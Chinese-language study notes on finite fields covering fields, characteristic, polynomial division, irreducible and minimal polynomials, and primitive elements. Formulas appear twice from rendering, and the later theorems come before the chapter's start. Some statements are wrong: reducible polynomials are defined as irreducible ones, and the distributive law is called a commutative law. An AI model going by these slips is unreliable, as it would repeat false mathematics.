0%

定理3.20Fq\mathbb F_q为q元有限域,f(x)Fq[x]f(x)\in \mathbb F_q[x]为n次不可约多项式,那么有f(x)xqnxf(x)|x^{q^n}-x

证明方法:构造f(x)f(x)的扩域Fq[x]f(x)\mathbb F_q[x]_{f(x)},对于任意xFq[x]f(x)x\in F_q[x]_{f(x)}均有xqnx=0x^{q^n}-x=0(定理3.19),则有(xqnx)f(x)=0(x^{q^n}-x)_{f(x)}=0(定理3.7)。证毕。


定理3.21m,nm,n均为正整数,则有(xm1,xn1)=x(m,n)1(x^m-1,x^n-1)=x^{(m,n)}-1

证明方法:归纳法。
max{m,n}=1max\{m,n\}=1时显然成立
假设当max{m,n}=kmax\{m,n\}=k时成立,若m>nm>n,那么有(xm1,xn1)=(xmn1,xn1)(x^m-1,x^n-1)=(x^{m-n}-1,x^n-1)(定理3.11),此时max{m,n}<kmax\{m,n\}<k,故成立。

推论m,n,qm,n,q为整数,则(xqmx,xqnx)=xq(m,n)x(x^{q^m}-x,x^{q^n}-x)=x^{q^{(m,n)}}-x(使用上面定理即可,证明略)


定理3.22Fq\mathbb F_q为q元域,nn为正整数,f(x)Fq[x]f(x)\in\mathbb F_q[x]为m次不可约多项式,且m>nm>n,那么f(x)xqnxf(x)∤x^{q^n}-x

证明方法:反证法。

假设能够整除。则有xf(x)qn=xf(x)x^{q^n}_{f(x)}=x_{f(x)}
对于任意Fq[x]f(x)\mathbb F_q[x]_{f(x)}中元素g(x)=i=0m1aixig(x)=\sum_{i=0}^{m-1}a_ix^i,有

g(x)qn=i=0m1(aixi)qng(x)^{q^n}=\sum_{i=0}^{m-1}(a_ix^i)^{q^n}

(二项式定理)
根据定理3.19有

g(x)qn=i=0m1ai(xi)qng(x)^{q^n}=\sum_{i=0}^{m-1}a_i(x^i)^{q^n}

注意(ai)qn=ai(a_i)^{q^n}=a_i
因此

(g(x)qng(x))f(x)=i=0m1ai((xi)qnxi)f(x)=i=0m1ai((xqn)ixi)f(x)=i=0m1ai(xixi)f(x)=0(g(x)^{q^n}-g(x))_{f(x)}=\sum_{i=0}^{m-1}a_i((x^i)^{q^n}-x^i)_{f(x)}=\sum_{i=0}^{m-1}a_i((x^{q^n})^i-x^i)_{f(x)}=\sum_{i=0}^{m-1}a_i(x^i-x^i)_{f(x)}=0

故任意Fq[x]f(x)\mathbb F_q[x]_{f(x)}中元素均是xqnxx^{q^n}-x的根,而n<mn<m,故矛盾。


定理3.23Fq\mathbb F_q为q元域,n,dn,d为正整数,f(x)Fq[x]f(x)\in\mathbb F_q[x]dd次不可约多项式,那么有f(x)xqnxf(x)|x^{q^n}-x当且仅当dnd|n

证明方法:
充分性:f(x)xqdxf(x)|x^{q^d}-x,根据定理3.21,xqdxxqnxx^{q^d}-x|x^{q^n}-x,证毕
必要性:f(x)xqdx,f(x)xqnxf(x)(xqdx,xqnx)=xq(d,n)xf(x)|x^{q^d}-x,f(x)|x^{q^n}-x\Rightarrow f(x)|(x^{q^d}-x, x^{q^n}-x)=x^{q^{(d,n)}}-x,又deg(f(x))=d(d,n)\deg(f(x))=d\le (d,n),故dnd|n


定义3.10 导式


定义3.11 重因式、k重因式、重根、k重根、导式


定理3.24 Fq\mathbb F_q为q元有限域,f(x),g(x)Fq[x]f(x),g(x)\in\mathbb F_q[x],若g(x)g(x)f(x)f(x)的k重因式,则g(x)k1f(x)g(x)^{k-1}|f'(x)

证明方法:求导

推论1 Fq\mathbb F_q为q元有限域,f(x)Fq[x]f(x)\in\mathbb F_q[x],若(f(x),f(x))=1(f(x),f'(x))=1,则f(x)f(x)在域Fq\mathbb F_q上没有重因式,也没有重根。(证明反证法)
推论2 Fq\mathbb F_q为q元有限域,n为正整数,则xqnxx^{q^n}-x在域Fq\mathbb F_q上没有重因式。(用推论1证明)

xqnxx^{q^n}-x可以表示为所有次数为n的因子的首1不可约多项式的乘积,每个因式仅出现一次 (注意理解:n的因子!如当n=4时,所有1、2、4次不可约多项式都是其因子)


定理3.25Fq\mathbb F_q为q元域,n为正整数,那么Fq\mathbb F_q上一定存在n次不可约多项式。

证明方法:容斥原理

ϕ(k)\phi(k)Fq\mathbb F_q上次数为kk的因子的首1不可约多项式的乘积,即ϕ(k)=xqkx\phi(k)=x^{q^k}-xAAnn次首1不可约多项式的乘积。
n=i=1Spiαin=\prod_{i=1}^S p_i^{\alpha_i}

A=ϕ(n)1iSϕ(npi)11i1<i2Sϕ(npi1pi2)...ϕ(np1p2...pS)(1)SA=\phi(n)\cdot\prod_{1\le i\le S}\phi(\frac{n}{p_i})^{-1}\prod_{1\le i_1<i_2\le S}\phi(\frac{n}{p_{i_1}p_{i_2}})...\phi(\frac{n}{p_1p_2...p_S})^{(-1)^S}

首先,次数不是n的因子的首1不可约多项式,在等式两边都不出现。
其次,任何一个次数为n的首1不可约多项式在等式两边各出现1次,分别在AAϕ(n)\phi(n)
再者,对于任意dn,d<nd|n,d<n,设

d=p1f1p2f2...prfrpr+1αr+1...pSαSd=p_1^{f_1}p_2^{f_2}...p_r^{f_r}p_{r+1}^{\alpha_{r+1}}...p_S^{\alpha_S}

那么在npi1pi2...pit(0t<s,1i1<i2<...<itS)\frac{n}{p_{i_1}p_{i_2}...p_{i_t}}(0\le t<s,1\le i_1<i_2<...<i_t\le S)中,只有n,npi(1ir),npipj(1i<jr),...,np1p2...pr\frac{n}{p_i}(1\le i\le r),\frac{n}{p_ip_j}(1\le i<j\le r),...,\frac{n}{p_1p_2...p_r}以d为因子,所以任一d次首1不可约多项式在等式右边出现的次数为:1(r1)+(r2)...+(1)r(rr)=(11)r=01-\begin{pmatrix} r \\ 1 \end{pmatrix}+\begin{pmatrix} r \\ 2 \end{pmatrix}-...+(-1)^r\begin{pmatrix} r \\ r \end{pmatrix}=(1-1)^r=0。显然其在左边出现次数也为0,等式得证。

ϕ(n)=xqnx\phi(n)=x^{q^n}-x,所以

degA=qn1iSqnpi+1i1<i2Sqnpi1pi2+...+(1)Sqnp1p2...pS\deg A=q^n-\sum_{1\le i\le S}q^{\frac{n}{p_i}}+\sum_{1\le i_1<i_2\le S}q^{\frac{n}{p_{i_1}p_{i_2}}}+...+(-1)^S q^\frac{n}{p_1p_2...p_S}

degA(1)Sqnp1p2...pS0(modqnp1p2...pS+1)\deg A\equiv (-1)^Sq^\frac{n}{p_1p_2...p_S}\ne 0 (\mod q^{\frac{n}{p_1p_2...p_S}+1})[qnp1p2...pS+1qnq^{\frac{n}{p_1p_2...p_S}+1}|q^n,前面项全消去仅剩最后一项],故degA>0\deg A>0,因此AA至少包含1个不可约多项式


定理3.26 对于任意素数pp,正整数nnpnp^n元有限域一定存在。

证明方法:根据定理3.25能在Zp\mathbb Z_p找到n次不可约多项式,因此可以根据定理3.16构造一个元素个数为pnp^n的有限域。


Fqn\mathbb F_{q^n}Fq\mathbb F_q的扩域,则Fqn\mathbb F_{q^n}可以看做Fq\mathbb F_q的n维向量空间,一组基能够按照定理3.18的方式构造:{1,β1,β2,...βn1}\{1,\beta_1,\beta_2,...\beta_{n-1}\}Fqn\mathbb F_{q^n}中任意一个元素可以唯一表示为

a0+a1β1+...+an1βn1,aiFqa_0+a_1\beta_1+...+a_{n-1}\beta_{n-1},a_i\in\mathbb F_q

的形式。

{1,x,x2,...,xn1}\{1,x,x^2,...,x^{n-1}\}就是一组基。


引理1 设群GG的元素α\alpha的阶为nn,则对于任意整数m,ord(αm)=n(m,n)ord(\alpha^m)=\frac{n}{(m,n)}

证明:设ord(am)=dord(a^m)=d,分别证明dn(m,n),n(m,n)dd|\frac{n}{(m,n)},\frac{n}{(m,n)}|d即可。
dn(m,n)d|\frac{n}{(m,n)}易证
(αm)d=1(\alpha^m)^d=1,故nmdn|md,即n(m,n)m(m,n)d\frac{n}{(m,n)}|\frac{m}{(m,n)}d,且有(m(m,n),n(m,n))=1(\frac{m}{(m,n)},\frac{n}{(m,n)})=1,故n(m,n)d\frac{n}{(m,n)}|d


引理2 设群GG中,ord(α)=m,ord(β)=nord(\alpha)=m,ord(\beta)=n,若(m,n)=1(m,n)=1,则ord(αβ)=mnord(\alpha\beta)=mn
证明:证明思路与引理1相同
dmnd|mn易证
(αβ)d=1(\alpha\beta)^d=1,故αd=βd\alpha^d=\beta^{-d},故ord(αd)=m(d,m)=n(d,m)=ord(βd)ord(\alpha^d)=\frac{m}{(d,m)}=\frac{n}{(-d,m)}=ord(\beta^{-d})(m,n)=1(m(d,m),n(d,n))=1,m(d,m)=n(d,n),m(d,m)=n(d,n)=1(m,n)=1\Rightarrow(\frac{m}{(d,m)},\frac{n}{(d,n)})=1,\frac{m}{(d,m)}=\frac{n}{(d,n)},\therefore \frac{m}{(d,m)}=\frac{n}{(d,n)}=1。故md,ndmndm|d,n|d\Rightarrow mn|d


定理3.27 有限域的乘法群是循环群。

证明方法:Fpn\mathbb F_{p^n}是元素个数为pnp^n的有限域,其乘法群元素个数为pn1p^n-1,设α\alpha是其中阶最大的元素,设其阶ord(α)=dord(\alpha)=d,则dpn1d|p^n-1,故有dpn1d\le p^n-1
对任意βFpn\beta\in\mathbb F_{p^n},设ord(β)=s=i=1tpiαi,d=i=1tpiβi,αi0,βi0ord(\beta)=s=\prod_{i=1}^t p_i^{\alpha_i},d=\prod_{i=1}^t p_i^{\beta_i},\alpha_i\ge 0,\beta_i\ge 0,那么[d,s]=i=1tpimax{αi,βi}[d,s]=\prod_{i=1}^tp_i^{\max\{\alpha_i, \beta_i\}},将前面的式子拆分为两份:s=αiβipiαi,d=αi<βipiβis'=\prod_{\alpha_i\ge \beta_i}p_i^{\alpha_i},d'=\prod_{\alpha_i<\beta_i}p_i^{\beta_i},则易得dd,ss,(d,s)=1,ds=[d,s]d'|d,s'|s,(d,s)=1,d's'=[d,s],此时ord(αdd)=d,ord(βss)=sord(\alpha^{\frac{d}{d'}})=d',ord(\beta^{\frac{s}{s'}})=s',由引理2可得,ord(αddβss)=ds=[d,s]dord(\alpha^{\frac{d}{d'}}\beta^{\frac{s}{s'}})=d's'=[d,s]\le d,因为d是最大的阶。故有sds|d。于是Fpn\mathbb F_{p^n}^*中任意一个元素的阶都是d的因子,即Fpn\mathbb F_{p^n}^*pn1p^n-1个元素均为xd1=0x^d-1=0的根,故有pn1dp^n-1\le d。综上有d=pn1d=p^n-1,证毕。

将域乘法群的生成元称为其本原元。


定义3.12 极小多项式:Fq\mathbb F_q是元素个数为q的有限域,有限域F\mathbb F为其扩域,则F\mathbb F中任意一个元素α\alphaFq\mathbb F_q上的极小多项式指Fq\mathbb F_q上以α\alpha为根的首1不可约多项式。α\alphaFq\mathbb F_q扩域上,F\mathbb F上元素,故其不一定是Fq\mathbb F_q上元素,因此虽然xαx-\alpha整除该多项式,但该多项式不一定就是xαx-\alpha。但如果αFq\alpha\in\mathbb F_q,则该多项式就是xαx-\alpha


群的定理<a><a>为由a构成的循环群,则:

  1. <a><a>的子群都是循环群
  2. 对于任意正整数dnd|n<a><a>存在唯一d元子群
  3. 若整数s,ts,t不全为0,则<as,at>={asx+ty}=<a(s,t)><a^s,a^t>=\{a^{sx+ty}\}=<a^{(s,t)}>

引理3Fq\mathbb F_q是元素个数为q的有限域,有限域F\mathbb F为其扩域,F\mathbb F任一元素α\alphaFq\mathbb F_q上的极小多项式存在且唯一。
证明:存在性。设F=qn|\mathbb F|=q^n,则其中任意一个元素一定为xqnxx^{q^n}-x的根,其可以在F\mathbb F中分解为若干首1不可约多项式的乘积:xqnx=p1(x)p2(x)...ps(x),pi(x)Fq[x]x^{q^n}-x=p_1(x)p_2(x)...p_s(x),p_i(x)\in\mathbb F_q[x],故存在1is,pi(α)=01\le i\le s,p_i(\alpha)=0pi(x)p_i(x)即为Fq\mathbb F_q上的极小多项式。
唯一性。由定理3.24定理的推论,不存在重根,设存在两个极小多项式a(x),b(x)a(x),b(x),因为(a(x),b(x))=1(a(x),b(x))=1,代入α\alpha可得:0=s(α)a(α)+t(α)b(α)=10=s(\alpha)a(\alpha)+t(\alpha)b(\alpha)=1,矛盾。

由上可知,α\alphaFq\mathbb F_q上的极小多项式是以α\alpha为根的次数最低的多项式,且唯一。(反证法:假设可约则存在有次数更低的多项式,代入α\alpha得其中一个多项式必为0,矛盾)


结论1f(x)f(x)是一个n次不可约多项式,那么包含f(x)f(x)的根α\alpha的最小扩域为Fqn\mathbb F_{q^n},所有包含f(x)f(x)的根的域都是Fqn\mathbb F_{q^n}的扩域。

证明:设包含f(x)f(x)的根α\alpha的最小扩域为Fqk\mathbb F_{q^k},设

xqkx=g(x)f(x)+r(x),degr(x)<degf(x)x^{q^k}-x=g(x)f(x)+r(x),\deg r(x)<\deg f(x)

代入α\alpha可得r(x)=0r(x)=0,即α\alpha是r(x)的一个根,但f(x)是Fq\mathbb F_q上以α\alpha为根的次数最小的多项式,因此r(x)只能为0。
f(x)xqkx,nkf(x)|x^{q^k}-x,n|k,最小正整数k即为n(定理3.20,3.22)


结论2 Fq\mathbb F_q为q元有限域,那么其扩域Fqn\mathbb F_{q^n}中包含所有次数为n的因子的不可约多项式的所有根,而不包含次数不为n的因子的不可约多项式的任何根。

证明:由结论1易证。


引理4Fq\mathbb F_q是元素个数为q的有限域,有限域F\mathbb F为其扩域,αF\alpha\in\mathbb F^*α\alpha的阶为m,设k是使qk1(modm)q^k\equiv1(\mod m)的最小正整数,则α\alphaFq\mathbb F_q上的极小多项式为k次,该多项式的k个根为α,αq,αq2,...,αqk1\alpha,\alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}}。若F=qn|\mathbb F|=q^nα\alphaF\mathbb F的本原元,则α\alphaFq\mathbb F_q上的极小多项式一定为n次。

证明:构造k次多项式

g(x)=(xα)(xαq)...(xαqk1)g(x)=(x-\alpha)(x-\alpha^q)...(x-\alpha^{q^{k-1}})

对于0ik0\le i\le k,g(x)的1次项系数可以看做Fq\mathbb F_q的素域Fp\mathbb F_p上的k元多项式,不妨设为ci(α,αq,αq2,...,αqk1)c_i(\alpha, \alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}}),即g(x)=i=0kci(α,αq,αq2,...,αqk1)xig(x)=\sum_{i=0}^kc_i(\alpha, \alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}})x^i
qk1(modm)q^k\equiv 1(\mod m)α\alpha的阶为m,得到αqk=α\alpha^{q^k}=\alpha,又q为p的幂,因此由定理3.5:

(ci(α,αq,αq2,...,αqk1))q=ci(αq,αq2,...,αqk)=ci(αq,αq2,...,α)(c_i(\alpha, \alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}}))^q=c_i(\alpha^q,\alpha^{q^2},...,\alpha^{q^{k}})=c_i(\alpha^q,\alpha^{q^2},...,\alpha)

g(x)=(xαq)...(xαqk1)(xα)g(x)=(x-\alpha^q)...(x-\alpha^{q^{k-1}})(x-\alpha),所以g(x)的i次项系数又可以表示为ci(αq,αq2,...,α)c_i(\alpha^q,\alpha^{q^2},...,\alpha),也即ci(αq,αq2,...,α)=ci(α,αq,αq2,...,αqk1)c_i(\alpha^q,\alpha^{q^2},...,\alpha)=c_i(\alpha, \alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}})。因此有

(ci(α,αq,αq2,...,αqk1))q=ci(α,αq,αq2,...,αqk1)(c_i(\alpha, \alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}}))^q=c_i(\alpha, \alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}})

由定理3.19可知ci(α,αq,αq2,...,αqk1)Fqc_i(\alpha, \alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}})\in\mathbb F_q,即g(x)Fq[x]g(x)\in\mathbb F_q[x]

下面证明g(x)g(x)Fq[x]\mathbb F_q[x]中不可约。
易得α,αq,αq2,...,αqk1\alpha, \alpha^q,\alpha^{q^2},...,\alpha^{q^{k-1}}互不相等。若存在两项αqi,αqj\alpha^{q^i},\alpha^{q^j}相等,则αqi(qji1)=1\alpha^{q^i(q^{j-i}-1)}=1,故mqi(qji1)m|q^i(q^{j-i}-1)。由qk1(modm)q^k\equiv 1(\mod m)可知(q,m)=1(q,m)=1(qk和1属于模m的同一个剩余类,故(qk,m)=(1,m)=1,即有(q,m)=1),故mqji1m|q^{j-i}-1,即qji1(modm)q^{j-i}\equiv 1(\mod m),但0<ji<k0<j-i<k,与k最小矛盾。

g(x)g(x)Fq[x]\mathbb F_q[x]上可约,则存在因式f1(x),f2(x)Fq[x]f_1(x),f_2(x)\in\mathbb F_q[x]
g(α)=0g(\alpha)=0可得f1(α)=0f_1(\alpha)=0f2(α)=0f_2(\alpha)=0,不妨设f1(α)=0f_1(\alpha)=0,则有f1(α)=f1(αq)=...=f1(αqk1)=0f_1(\alpha)=f_1(\alpha^q)=...=f_1(\alpha^{q^{k-1}})=0f1(α)=i=0Saiαi,aiq=aif_1(\alpha)=\sum_{i=0}^Sa_i\alpha^i,a_i^q=a_i,故f1(α)=i=0Saiαqi=i=0Saiqαqi=(f1(α))q=0f_1(\alpha)=\sum_{i=0}^Sa_i\alpha^{qi}=\sum_{i=0}^Sa_i^q\alpha^{qi}=(f_1(\alpha))^q=0,其根的个数超过其次数,矛盾。

由极小多项式的定义和唯一性可知g(x)即为α\alphaFq\mathbb F_q上的极小多项式。
所有根的阶数均为m。


引理5Fq\mathbb F_q是元素个数为q的有限域,f(x)f(x)Fq\mathbb F_q上的n(n1)n(n\ge 1)的首1不可约多项式,Fqn\mathbb F_{q^n}Fq\mathbb F_q的任一扩域,那么f(x)f(x)Fqn\mathbb F_{q^n}中有根,且若α\alphaf(x)f(x)Fqn\mathbb F_{q^n}中的一个根,那么f(x)f(x)Fqn\mathbb F_{q^n}中的所有根为α,αq,αq2,...,αqn1\alpha,\alpha^q,\alpha^{q^2},...,\alpha^{q^{n-1}}

证明:当f(x)=cx,cFqf(x)=cx,c\in\mathbb F_q^*时,结论成立。
不妨设f(x)f(x)是首一n次不可约多项式,且f(x)cx,cFqf(x)\ne cx,c\in \mathbb F_q^*。由定理3.20可知f(x)xqnxf(x)|x^{q^n}-x,而Fqn\mathbb F_{q^n}中所有qnq^n个元素均为xqnxx^{q^n}-x的根。令xqnx=f(x)g(x),degg(x)=qnnx^{q^n}-x=f(x)g(x),\deg g(x)=q^n-n,则xqnxx^{q^n}-x的根一定是f(x)或g(x)的根,且f(x)的根至少有n个。又degf(x)=n\deg f(x)=n,则f(x)有n个根。

α\alphaf(x)f(x)Fqn\mathbb F_{q^n}中的一个根,则f(x)f(x)α\alphaFq\mathbb F_q上的极小多项式,其所有根为α,αq,αq2,...,αqn1\alpha,\alpha^q,\alpha^{q^2},...,\alpha^{q^{n-1}}


定义3.13 极小多项式所有根的阶称为多项式的周期,周期为最大(qn1q^n-1)时称该多项式为Fq\mathbb F_q上的本原多项式


定理3.28 所有元素相同的有限域均同构。

证明方法:


定理3.29 (有限域伽罗华定理)设p为素数,Fpn\mathbb F_{p^n}为元素个数为pn的有限域,α\alphaFpn\mathbb F_{p^n}的本原元,α\alphaFp\mathbb F_p上的极小多项式为n次本原多项式f(x)f(x),则:
(1) Fpn\mathbb F_{p^n}的任意自同构都保持其素域Fp\mathbb F_p中的元素不变。
(2) Fpn\mathbb F_{p^n}的任意自同构都只能将f(x)f(x)的根映射成f(x)f(x)的根。

Chapter 3 有限域

定义3.1F\mathbb F为一个非空集合,在其上定义两种运算:加法和乘法,这两种运算在集合上封闭,且满足下列条件:

  1. F\mathbb F中所有元素对于加法形成加法交换群
  2. F\mathbb F中所有非零元素(记为F\mathbb F^*)对于乘法构成乘法交换群
  3. 任意F\mathbb F中元素满足乘法对加法的交换律(与实数集中的交换律形式上相同)

则称F\mathbb F对于规定的乘法和加法构成一个域。
一个域至少有两个元素:加法群零元(称为域的零元,00)和乘法单位元(称为域的单位元,ee。域元素个数有限称为有限域或伽罗华域,否则称为无限域。有理数集合Q\mathbb Q和复数集合C\mathbb C按定义的加法和乘法均为域


定义3.2F\mathbb F是一个域,F0\mathbb F_0F\mathbb F的非空子集,如果对于F\mathbb F上的加法和乘法,F0\mathbb F_0本身也是一个域,则称F0\mathbb F_0F\mathbb F的子域,F\mathbb FF0\mathbb F_0的扩域,记作F0F\mathbb F_0\subsetneq\mathbb F


定理3.1F0\mathbb F_0F0\mathbb F_0^*均是域F\mathbb F的非空子集,当且仅当下面两个条件成立时F0\mathbb F_0F\mathbb F的子域:

  1. 对于任意a,bF0a, b\in \mathbb F_0,都有a,a+bF0-a, a+b\in\mathbb F_0
  2. 对于任意非零元素a,bF0a, b\in\mathbb F_0,都有a1,abF0a^{-1}, ab\in\mathbb F_0

证明方法:需要证明F0\mathbb F_0F\mathbb F的加法子群,F0\mathbb F_0^*F\mathbb F的乘法子群。这个证明与证明子群很相似。
a,aF0,0F0\because a,-a\in\mathbb F_0, \therefore0\in\mathbb F_0,有加法单位元,每个元素有逆元。
a,bF0,a+bF0\because \forall a, b\in \mathbb F_0, a+b\in \mathbb F_0,故运算封闭。
该运算由于在F\mathbb F中构成域,因此满足交换律与结合律。因此F0\mathbb F_0F\mathbb F的加法子群。
aF0,a1F0\because \forall a\in\mathbb F_0, a^{-1}\in\mathbb F_0,故每个元素有逆元,有乘法单位元ee
a,bF0,abF0\because \forall a, b\in \mathbb F_0, ab\in \mathbb F_0,故运算封闭。
该运算由于在F\mathbb F中构成域,因此满足交换律与结合律。因此F0\mathbb F_0^*F\mathbb F的乘法子群。
由于这两个运算在F\mathbb F中满足分配律,因此在F0\mathbb F_0中同样满足。\Box

定义an=(an)1a^{-n}=(a^n)^{-1},当a0a\ne 0时,定义a0=ea^0=e


定理3.2F\mathbb F是一个域,那么:

  1. 对于任意aFa\in\mathbb F0a=a0=00a=a0=0
  2. 对于任意a,bFa,b\in\mathbb F,若ab=0ab=0,则a=0a=0b=0b=0

证明方法:0a=(0+0)a0a=(0+0)a 证明1
a0a\ne 0,则ab=a1ab=b=0ab=a^{-1}ab=b=0,若b=0b=0同理。

在域中,二项式定理成立。


定理3.3F\mathbb F是一个域,a,bFa,b\in\mathbb F,对于任意正整数nn,有

(a+b)n=i=0nCnianibi=i=0n(ni)anibi(a+b)^n=\sum_{i=0}^n C_n^i a^{n-i} b^i =\sum_{i=0}^n\begin{pmatrix}n\\i\end{pmatrix}a^{n-i} b^i

证明方法:分配律易证。


定义3.3F\mathbb F是一个域,如果存在正整数mm,使得对于任意aFa\in\mathbb F均有ma=0ma=0,则在所有满足上述条件的m中,最小的正整数称为域F\mathbb F的特征。如果mm不存在则称F\mathbb F的特征为0。特征记作char(F)char(\mathbb F)


定义3.4F,k\mathbb F, \mathbb k是两个域,如果存在F\mathbb Fk\mathbb k的一一映射δ\delta,使得对于任意a,bFa,b\in\mathbb F,均有

δ(a+Fb)=δ(a)+kδ(b),δ(a×Fb)=δ(a)×kδ(b)\delta(a+_{\mathbb F}b)=\delta(a)+_{\mathbb k}\delta(b), \delta(a\times_{\mathbb F} b)=\delta(a)\times_{\mathbb k}\delta(b)

则称δ\deltaF\mathbb Fk\mathbb k的同构映射,称F,k\mathbb F, \mathbb k同构,记作Fk\mathbb F\cong\mathbb k。如果F=k\mathbb F=\mathbb k则称δ\delta为自同构映射,若对于任意aFa\in\mathbb F均有δ(a)=a\delta(a)=a,则称δ\delta为恒等自同构映射。一个域的最小子域称为该域的素域。


定理3.4F\mathbb F是一个域,则char(F)char(\mathbb F)为0或某个素数pp。特征为素数pp的域的素域与Zp\mathbb Z_p同构,特征为0的域的素域与Q\mathbb Q同构。

证明方法:此证明显然需要分为三个部分进行。
首先证明特征为0或素数。如果特征不是素数,则可写为s×ts\times t的形式,也即aF,(st)a=sta=0\forall a\in \mathbb F, (st)a=sta=0,故sa=0sa=0ta=0ta=0。此时特征就应该是sstt而非stst
F\mathbb F是一个域且特征不为0时,其所有子域显然均需要包含00ee,由于需要满足运算的封闭性,所以还需要包含2e,3e,...,(p1)e2e, 3e, ...,(p-1)e。由这些元素构成的集合容易证明其是一个域(需要注意乘法逆元的证明,由于pp是素数,故对于任意的0<k<p0<k<p,均能找到其关于模pp的逆元,也就是对应的乘法逆元),因此这就是F\mathbb F上最小的域。同构映射δ(ke)=k\delta(ke)=kZp\mathbb Z_p构成同构。
F\mathbb F的特征为0时,同样其所有子域均需要包含0,e,2e,3e,...0,e,2e,3e,...。由加法运算的封闭性,还需要包含e,2e,3e,...-e,-2e,-3e,...。又由于需要满足乘法逆元也包含于域中,所以e1,2e1,...e1,2e1,...e^{-1}, 2e^{-1},...-e^{-1},-2e^{-1},...也在子域中。又需要满足乘法的封闭性,故任意子域均需包含F0={(ae)(be)1a,bZ,b0}\mathbb F_0=\{(ae)(be)^{-1}|a,b\in\mathbb Z,b\ne 0\}。这个集合容易证明域的所有判定性质,因此其本身就是一个域,而且是最小的子域。同构映射δ((ae)(be)1)=ab\delta((ae)(be)^{-1})=\frac{a}{b}Q\mathbb Q构成同构。


定理3.5F\mathbb F是一个域,char(F)=pchar(\mathbb F)=p,则对于任意a,bF,n0a,b\in\mathbb F,n\ge 0,均有

(a±b)pn=apn±bpn(a\pm b)^{p^n}=a^{p^n}\pm b^{p^n}

证明方法:首先使用二项式定理证明(a+b)p=ap+bp(a+b)^p=a^p+b^p
(a+b)p(a+b)^p中的第i项为p!i!(pi)!aibpi\frac{p!}{i!(p-i)!}a^ib^{p-i},即证明p!i!(pi)!\frac{p!}{i!(p-i)!}pp的倍数(i0,ip)(i\ne 0,i\ne p)。显然这是一个整数,且p!i!(pi)!=p×(p1)!i!(pi)!\frac{p!}{i!(p-i)!}=p\times \frac{(p-1)!}{i!(p-i)!}。后面的数不可能是分数,因为如果是,那么分母必然是pp的倍数,但是分母显然与pp互素。因此后面的数是整数,也就是说这个数能够被pp整除。故得证第一项。
然后使用数学归纳法,用类似的方式证明后面的式子即可。


定义3.5 对于非负整数iiaixi,aiFa_ix^i,a_i\in\mathbb F表示域F\mathbb F上文字为x的单项式,称形式和f(x)=anxn+an1xn1+...+a1x1+a0x0,aiFf(x)=a_nx^n+a_{n-1}x^{n-1}+...+a_1x^1+a_0x^0,a_i\in\mathbb F为域上文字为x的多项式,简称域F\mathbb F上的多项式。aixia_ix^i称为f(x)f(x)ii次项,aia_i称为f(x)f(x)ii次项系数。当an0a_n\ne 0时,称该多项式为n次多项式,ana_n称为f(x)f(x)的首项系数,多项式f(x)f(x)的次数称为degf(x)\deg f(x)。如果多项式各项系数均为0,称为零多项式,记为0,次数规定为-\infty
F\mathbb F上文字为x的所有多项式的集合用符号F[x]\mathbb F[x]表示,规定x0=1F,a0x0=a0Fx^0=1\in\mathbb F,a_0x^0=a_0\in\mathbb F,则有FF[x]\mathbb F\subsetneq\mathbb F[x]。注意按照上面的定义,F[x]\mathbb F[x]不是域。
关于多项式次数,下面结论成立:

deg(f(x)+g(x))max{degf(x),degg(x)}deg(f(x)g(x))=degf(x)+degg(x)\deg (f(x)+g(x))\le max\{\deg f(x), \deg g(x)\} \\\deg(f(x)g(x))=\deg f(x)+\deg g(x)

注意:这里的x可以表示任意的东西而不仅限于F\mathbb F,即anything,但是需要定义次方。


定理3.6f(x),g(x)f(x),g(x)为域F\mathbb F上的两个多项式,g(x)0g(x)\ne 0,则存在唯一一对多项式q(x),r(x)q(x),r(x)使得

f(x)=q(x)g(x)+r(x),degr(x)<degg(x)f(x)=q(x)g(x)+r(x),\deg r(x)<\deg g(x)

注意:不要看系数能否被整除,而应该注意到域的性质。由于域的特征只可能为素数或0,因此不要想当然地用诸如5x2+15x^2+12x2+42x^2+4来挑战这条定理,因为整数集并不是域!

证明方法:归纳。
存在性易证,总存在一个系数能够消去被除式的最高次项(利用乘法逆元)
唯一性:(q(x)q(x))g(x)=r(x)r(x),deg(r(x)r(x))<degg(x)(q(x)-q'(x))g(x)=r'(x)-r(x),\deg (r'(x)-r(x))<\deg g(x),故q(x)=q(x),r(x)=r(x)q(x)=q'(x), r(x)=r'(x)

定理中的式子称为多项式带余除法算式,r(x)r(x)称为余式,记作(f(x))g(x)=r(x)(f(x))_{g(x)}=r(x)


定理3.7 多项式满足模加和模乘运算。证明略。


定义3.6
整除:r(x)=0r(x)=0
倍式与因式
真因式:次数小于倍式的因式


定义3.7
可约多项式:不含次数大于0的真因式的多项式
不可约多项式


定理3.8F\mathbb F上多项式f(x)f(x)可约,则当且仅当存在两个域F\mathbb F上多项式f1(x),f2(x)f_1(x),f_2(x)degf1(x)<degf(x),degf2(x)<degf(x)\deg f_1(x)<\deg f(x), \deg f_2(x)<\deg f(x),使得f(x)=f1(x)f2(x)f(x)=f_1(x)f_2(x)

证明略。


定理3.9 如果有g(x)f1(x),g(x)f2(x)g(x)|f_1(x), g(x)|f_2(x),则任意多项式s(x),t(x)s(x),t(x),有g(x)s(x)f1(x)+t(x)f2(x)g(x)|s(x)f_1(x)+t(x)f_2(x)

证明方法:
f1(x)=g(x)q1(x),f2(x)=g(x)q2(x)f_1(x)=g(x)q_1(x),f_2(x)=g(x)q_2(x)
s(x)f1(x)+t(x)f2(x)=(s(x)q1(x)+t(x)q2(x))g(x)s(x)f_1(x)+t(x)f_2(x)=(s(x)q_1(x)+t(x)q_2(x))g(x)一定是g(x)g(x)的倍式


定义3.8 公因式、最高公因式(首项系数为1,次数最高)、互素


定理3.10 欧几里得辗转相除法
ri(x)=qi+1(x)ri+1(x)+ri+2(x)r_i(x)=q_{i+1}(x)r_{i+1}(x)+r_{i+2}(x)

  1. 经过有限步之后,余式必然为0。
  2. 存在多项式s(x),t(x)F[x]s(x),t(x)\in \mathbb F[x],使得s(x)r0(x)+t(x)r1(x)=rn(x)s(x)r_0(x)+t(x)r_1(x)=r_n(x)
  3. rn(x)r_n(x)首项系数为cc,则(r0(x),r1(x))=c1rn(x)(r_0(x), r_1(x))=c^{-1}r_n(x),且最高公因式唯一存在。
